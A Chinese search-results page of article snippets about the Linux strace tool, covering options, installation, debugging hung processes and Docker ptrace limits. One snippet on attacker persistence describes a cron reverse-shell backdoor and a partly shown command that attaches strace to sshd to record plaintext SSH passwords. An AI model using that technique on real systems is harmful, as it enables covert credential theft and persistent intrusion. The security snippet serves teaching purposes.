首页
学习
活动
专区
圈层
工具
发布
    • 综合排序
    • 最热优先
    • 最新优先
    时间不限
  • 来自专栏C/C++基础

    Linux 命令(137)—— strace 命令

    在命令执行过程strace 会记录和解析命令进程所有系统调用以及这个进程所接收到所有的信号值。 它记录连续系统调用开始之间时间差 -t 在输出每一行前加上时间信息 -tt 如果给定两次,在输出每一行前加上微秒级时间信息 -ttt 如果给定三次,则打印时间将包括微秒,并且开始部分将打印自纪元以来秒数 例如:-e read=3,5 -e write=SET 输出写入到指定文件数据 -o FILENAME 将 strace 输出写入指定文件 -O OVERHEAD 将跟踪系统调用开销设置为指定微秒 为命令设置环境变量 -E VAR 从继承环境变量列表删除变量 VAR,然后将其传递给命令 4.常用示例 现在我们做一个很简单程序来演示 strace 基本用法。 具体用法如下: strace -p PID 参考文献 [1] strace(1) manual [2] Linux 命令大全.strace [3] 马昌伟.strace命令详解

    11.5K31发布于 2020-04-13
  • 来自专栏Postgresql源码分析

    Linux进程状态分析strace命令

    strace 显示这些调用参数并返回符号形式值。strace 从内核接收信息,而且不需要以任何特殊方式来构建内核。 2 参数 -c 统计每一系统调用所执行时间,次数和出错次数等. -ff 如果提供-o filename,则所有进程跟踪结果输出到相应filename.pid,pid是各进程进程号. -F 尝试跟踪vfork调用.在-f时,vfork不被跟踪. -h 输出简要帮助信息. -i 输出系统调用入口指针. -q 禁止输出关于脱离消息. -r 打印出相对时间关于,,每一个系统调用. -t 在输出每一行前加上时间信息. -tt 在输出每一行前加上时间信息,微秒级. -ttt 微秒级输出,以秒了表示时间. -T 显示每一调用所耗时间. -e read=set 输出从指定文件读出 数据.例如: -e read=3,5 -e write=set 输出写入到指定文件数据.

    3.5K20编辑于 2022-05-12
  • 来自专栏五分钟学SRE

    【SRE该掌握利器】Linuxstrace:深入进程系统调用

    Linux系统,进程与硬件交互并非直接进行,而是通过系统调用来实现。strace是一个强大工具,它可以追踪进程执行时系统调用以及接收到信号,这对于诊断和调试程序非常有用。 strace简介与原理 strace用于跟踪程序执行时系统调用和信号。在Linux,用户态进程需要通过系统调用来请求内核态服务,比如文件操作、网络通信等。 信号则用于进程间通知和简单通信,以及处理某些紧急情况。 安装与基本使用 在大多数Linux发行版strace可以通过包管理器轻松安装。 strace是一个功能强大工具,可以帮助我们深入理解程序行为,定位问题。通过合理使用strace参数,可以有效地减少输出噪声,专注于相关系统调用。 linux/man-pages/man1/strace.1.html

    91220编辑于 2024-04-23
  • 来自专栏小网管的运维之路

    Linux调试分析诊断工具strace

    Linux调试分析诊断工具strace 2019年3月25日 ⋅ 浏览量: 29    strace1 df -h #查看卡在哪个位置;如果是nfs共享umount

    2.8K20发布于 2019-05-29
  • 来自专栏五分钟学SRE

    【SRE该掌握利器】Linuxstrace:深入进程系统调用

        在Linux系统,进程与硬件交互并非直接进行,而是通过系统调用来实现。strace是一个强大工具,它可以追踪进程执行时系统调用以及接收到信号,这对于诊断和调试程序非常有用。 strace简介与原理strace用于跟踪程序执行时系统调用和信号。在Linux,用户态进程需要通过系统调用来请求内核态服务,比如文件操作、网络通信等。 信号则用于进程间通知和简单通信,以及处理某些紧急情况。 安装与基本使用 在大多数Linux发行版strace可以通过包管理器轻松安装。 例如,在基于Debian系统(如Ubuntu),可以使用以下命令安装:sudo apt-get install strace基本使用如下:strace <command>这将输出<command>执行过程所有系统调用 注意事项与提示使用strace时可能会对系统性能产生一定影响,特别是在生产环境。在生产环境高流量Apache或Nginx服务器,要诊断一个性能问题,使用strace来跟踪一个长时间运行进程。

    1.4K20编辑于 2024-04-20
  • 来自专栏Linux驱动

    39.Linux应用调试-strace命令

    1.strace简介 strace常用来跟踪进程执行时系统调用和所接收信号。 /configure --host=arm-linux CC=arm-linux-gcc //配置configure #make //生成strace命令文件 然后将strace命令文件,放入我们开发板根目录/bin,便能使用了 #cp strace /nfs_root/bin/ //nfs_root:开发板 nfs系统根目录 3.strace命令使用 常用参数如下所示: -o    指定跟踪信息输出文件         -t     记录跟踪信息时间,以S为单位 -tt    记录跟踪信息时间,以uS /led_text led1 on //测试led_text应用程序,打开led1,并将跟踪信息输出到log.txt 其中log.txt内容如下所示: ?

    1.4K60发布于 2018-01-08
  • 来自专栏嵌入式与Linux那些事

    35.Linux应用调试-strace命令

    1.strace简介   strace常用来跟踪进程执行时系统调用和所接收信号。 /configure --host=arm-linux CC=arm-linux-gcc //配置configure #make //生成strace命令文件   然后将strace命令文件,放入我们开发板根目录/bin,便能使用了 #cp strace /nfs_root/bin/ //nfs_root :开发板nfs系统根目录 3.strace命令使用   常用参数如下所示: -o 指定跟踪信息输出文件 -t 记录跟踪信息时间,以S为单位 -tt 记录跟踪信息时间,以uS为单位 4.实例 /led_text led1 on //测试led_text应用程序,打开led1,并将跟踪信息输出到log.txt   其中log.txt内容如下所示:

    1.3K20发布于 2021-05-20
  • 来自专栏岛哥的质量效能笔记

    Linux 使用strace命令查找进程卡死原因

    点击小卡片,回复 “合集” 获取系统性学习笔记和测试开发技能图谱 背景 最近遇到某个线上服务进程卡死情况,但是在本地调试过程又没法复现,需要在线上服务器运行一段时间后在某些条件下才会触发。 定位问题 首先我们用ps auxf命令查看我们进程执行到了哪一步: 可以看到执行到了[sh]然后就卡死了,然后我们接着通过strace命令来查看执行这个操作死在了哪个系统回调: root@demo :~# strace -p 6093 Process 6093 attached recvfrom(5, 可以看到是死在了系统回调recvfrom这里,描述符5具体含义我们可以进入 /proc/pid 58 4 -> socket:[675848446] lrwx------ 1 root root 64 Jul 14 05:58 5 -> socket:[675847890] 我们可以发现,5代表是 socket,说明进程是死在socket通讯上了,那么再去排查线上服务器中有哪些服务用到了socket,最后定位到是X服务中大量不合理使用socket连接导致,至此问题就定位到了。

    5.7K20发布于 2021-09-14
  • 来自专栏云计算运维

    为什么 strace 在 Docker 不起作用?

    在编辑“容器如何工作”爱好者杂志能力页面时,我想试着解释一下为什么 strace 在 Docker 容器无法工作。 这里问题是 —— 如果我在笔记本上 Docker 容器运行 strace,就会出现这种情况: $ docker run -it ubuntu:18.04 /bin/bash $ # ... install 但这实际上是不合理,原因有两个。 原因 1:在实验,作为一个普通用户,我可以对我用户运行任何进程进行 strace。 但得出结果是一样。) 这很容易解释为什么 strace 在 Docker 容器不能工作 —— 如果 ptrace 系统调用完全被屏蔽了,那么你当然不能调用它,strace 就会失败。 --cap-add=[] Add Linux capabilities 这跟 seccomp 规则没有任何关系! 怎么回事?

    11.1K30发布于 2021-09-18
  • 来自专栏让技术和时代并行

    Strace——隐藏超能力

    Linux 管理员和工程师很快发现需要补充实用程序。值得庆幸是,他们并没有等太久。 StraceLinux 之后不久推出,旨在解决其中许多问题。 正如官方网站所述,正式称为 Linux 系统调用调用程序,“StraceLinux 诊断、调试和指导用户空间实用程序”。您可以使用 Strace 来监督和操作进程如何与 Linux 内核交互。 您可以在 Linux CLI 输入简短一行命令并运行它,直到退出。相反,十六进制数据转储等操作可能需要输入大量特定参数、属性等。当然,这些命令可能需要更多时间来执行,因此更容易出错。 值得庆幸是,您可以通过“-f”选项捕获这些子进程,同时附加您程序名称。 strace 语法 StraceLinux CLI 在每个 Strace 命令利用多个运算符。 结论 在正确场景Strace 显然是一个非常有用调试和故障排除工具。它可以帮助您更深入地了解您应用程序以及它在运行时如何与 Linux 内核交互。这种透明度也延伸到第三方应用程序。

    94310编辑于 2023-12-18
  • 来自专栏Lansonli技术博客

    强大strace命令用法详解

    strace是什么? 按照strace官网描述, strace是一个可用于诊断、调试和教学Linux用户空间跟踪器。 在运维日常工作,故障处理和问题诊断是个主要内容,也是必备技能。strace作为一种动态跟踪工具,能够帮助运维高效地定位进程和服务故障。 这里说得比较清楚,因为我们例子open选项指定了O_CREAT选项,这里errno为ENOENT原因是日志路径某个部分不存在或者是一个失效符号链接。 不过,对于运维问题定位来说,知道strace这个工具,会查系统调用手册,就差不多够了。 想要深入了解同学,建议阅读《Linux系统编程》, 《Unix环境高级编程》等书籍。 3、 性能分析 假如有个需求,统计Linux 4.5.4 版本内核代码行数(包含汇编和C代码)。这里提供两个Shell脚本实现: poor_script.sh: !

    2.6K31发布于 2021-10-09
  • 来自专栏云服务笔记

    linux下 debug 工具 strace 应用之【查找命令依赖库文件】

    Stracelinux系统中一个用来跟踪系统调用简易工具,它最简单用途就是跟踪一个程序整个生命周期里所有的系统调用,并把调用参数和返回值以文本方式输出 当然它还可以做更多事情: strace strace 可以记录系统调用次数,时间,成功和失败次数。 strace 可以跟踪发给进程信号。 strace 可以通过pid附加到任何正在运行进程上 问题背景: centos下执行rpm命令时提示缺失 libplds4.so 库文件,这导致系统命令执行失败 root@BJ-CentOS7 ~ 在系统通过 find 命令查找 libplds4.so 文件,发现文件实际是存在,但是执行命令怎么还是报错没有这个文件呢? 使用 strace 命令追踪系统命令执行调用系统文件路径(参数 -e open 用于观察目前进程正引用哪些文件) root@BJ-CentOS7 ~ # strace -e open rpm -qa

    2.5K20发布于 2020-06-22
  • 来自专栏Cyber Security

    【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

    权限维持-Linux-定时任务-Cron后门 利用系统定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #! -监控功能-Strace后门 strace是一个动态跟踪工具,它可以跟踪系统调用执行。 我们可以把他当成一个键盘记录后门,来扩大我们信息收集范围 1、记录sshd明文 (strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {' .sshd.log文件不停在记录登陆字节流,生成文件特别大 通过服务器监控面板可以明显看到 2、记录sshd私钥 (strace -f -F -p `ps aux|grep "sshd /etc/upload fi 权限维持-Linux-内核加载LKM-Rootkit后门 传统后门通过TCP连接,容易被发现 现在常用linux维持权限方法大多用crontab和开机自启动,

    65610编辑于 2024-07-18
  • 来自专栏韦东山嵌入式

    全志 Tina Linux 系统调试 使用指南 GDB gdbserver coredump perf strace valgind

    /linux/env-4.9.cfg device/config/chips/r528/configs/evb2/env.cfg 文件loglevel决定打印等级 loglevel= 在进入系统后 2.6.1 介绍 Strace通过ptrace系统调用来跟踪进程调用syscall情况。 System call tracer 2.6.3 使用 strace启动程序同时用strace跟踪。 strace -p pid对于已经启动程序通过-p参数attach上去。 Callgrind:收集程序运行时一些数据,函数调用关系等信息。 Cachegrind:模拟CPU一级缓存I1,D1和L2二级缓存,能够精确地指出程序cache丢失和命中。 此方案在全志释放Linux-4.9及之后内核版本中支持,暂时不兼容Linux-3.4/3.10/4.4等 旧内核版本。

    2.9K20编辑于 2022-12-28
  • 来自专栏MyPanda的学习笔记

    strace解决“su - rootAuthentication failure问题

    工作突然发现有一台linux机器不能su 到root, 即便密码是正确,也还是提示: The password is too strict. -l /etc/shadow ----------. 1 root root 1079 Aug 21 03:01 /etc/shadow 既然/etc/shadow权限没有问题,所以考虑用strace 来判断下,其中-e open 表示跟踪系统调用open, -f 表示跟踪到fork子进程,-o 表示输出跟踪结果到文件; [test_user@localhost ~]$ strace -f -e $ wc -l su_fail_strace.txt 149 su_fail_strace.txt [test_user@localhost ~]$ vim su_fail_strace.txt [test_user 在上面结果,102行错误:102 2944 open("/etc/shadow", O_RDONLY|O_CLOEXEC) = -1 EACCES (Permission denied) 比较值得怀疑

    3.2K51发布于 2020-06-09
  • 来自专栏社区的朋友们

    运维利器之万能 strace

    作者:王子勇 strace 是什么? 按照 strace 官网描述, strace 是一个可用于诊断、调试和教学 Linux 用户空间跟踪器。 在运维日常工作,故障处理和问题诊断是个主要内容,也是必备技能。strace 作为一种动态跟踪工具,能够帮助运维高效地定位进程和服务故障。 系统调用 按维基百科解释,在计算机,系统调用(英语:system call),又称为系统呼叫,指运行在用户空间程序向操作系统内核请求需要更高权限运行服务。 不过,对于运维问题定位来说,知道 strace 这个工具,会查系统调用手册,就差不多够了。想要深入了解同学,建议阅读《 Linux 系统编程》, 《 Unix 环境高级编程》等书籍。 3.性能分析 假如有个需求,统计Linux 4.5.4 版本内核代码行数(包含汇编和C代码)。这里提供两个Shell脚本实现: poor_script.sh: #!

    3K10发布于 2017-06-28
  • 来自专栏一个程序员的修炼之路

    strace命令不可信任一种情况

    Linux,在客户环境诊断问题一个非常有用命令就是strace,可以利用其查看程序执行过程系统调用,调用库,每一个系统调用时间,以及接收到信号等等,在这里就不详细阐述strace 最近刚好遇到一个棘手问题,在一个客户环境,应用程序调用系统调用ioctl与产品内核模块交互总是失败。然后通过strace查看进程执行过程ioctl系统调用是否有异常。 奇怪问题刚好就产生在这里,产品应用程序调用ioctl第二个参数为"SIOCXXXXXXX" ("SIOCXXXXXXX" 为产品内核模块实现一个命令)。 通过实验,在产品内核模块收到命令也为"SIOCXXXXXXX" (即0x40105305)。 经过诸多尝试,最后一个猜想,莫非strace打印出来"CDROMREADTOCHDR"有误? 通过上面的最后一句,也可以看出,stracedecode也不一定是完全正确

    44620发布于 2021-08-06
  • 来自专栏Linux

    LinuxLinux权限管理

    前言 在Linux系统,权限管理是系统安全和资源管控基石。 Shell对于Linux具有相同作用,主要是对我们指令进行解析,解析指令给Linux内核,反馈结果再通过内核运行出结果,通过Shell解析给用户。 注意: Shell只是所有外壳程序统称,例如在centos 7当中外壳程序名叫bash。 二、Linux权限概念 在Linux下有两种用户,分别是超级用户(root)和普通用户。 三、Linux权限管理 1、文件访问者分类(人) 对于用户来说,权限可以将用户分为三大类: 文件和文件目录所有者(文件拥有者)。 文件拥有者所在用户(文件所属组)。 可读权限: 如果用户没有该目录可读权限,则无法通过ls指令查看目录文件内容。 可写权限: 如果用户没有该目录可写权限,则无法通过一系列指令在目录创建文件或删除文件。

    19310编辑于 2025-12-20
  • 来自专栏从小白开始修炼

    Linux】关于Linux权限

    Linux文件类型和后缀无关(后缀名可以作为提示,用户可以使用后缀区分文件类型),但是对linux来说区分文件和文件本身后缀是无关(但是gcc等工具对文件后缀可能有要求)。 后缀本质就是文件名一部分。 开始之前,我们输入ll指令,来看看前面10个字符代表什么意思: 在linux,是通过ll显示众多属性列第一列第一个字符来区分文件类型。 则无法用ls等命令查看目录文件内容. , 用户就可以删除目录文件, 而不论这个用户是否有这个文件写权限。 y [hwc@VM-8-3-centos ~]$ 为了解决这个不科学问题, Linux引入了粘滞位概念 粘滞位 Linux系统中有很多人,我们需要在一个公共目录下,进行临时文件操作(增删查改

    8.4K20编辑于 2022-11-15
  • 来自专栏小脑斧科技博客

    十个例子让你了解 strace 使用技巧

    引言 此前文章我们介绍了 tcpdump 实用技巧: 计算机网络问题排查(一) -- tcpdump 原理与基础参数 实战计算机网络问题排查(二) -- tcpdump 过滤指令 tcpdump 那么,除了得知一个应用正在做着什么样网络通信,有没有办法知道一个正在运行进程到底做了什么呢? 答案当然是可以了,linux 命令 strace 就是跟踪进程行为一大神器,你可以通过它知道正在执行进程到底发生了什么,以及程序为什么出现错误等等。 2. strace 安装 如今,linux 几乎都有成熟包管理机制,strace 安装也因此变得非常简单: ubuntu/Debian 系统 sudo apt install strace RHEL 追踪 linux 系统调用 只要在原本命令前面,加上 strace 关键字,我们就可以看到原本要执行这个命令到底做了什么,下面就是一个追踪 df 命令例子: $ strace df -h execve

    5.3K10编辑于 2022-06-27
领券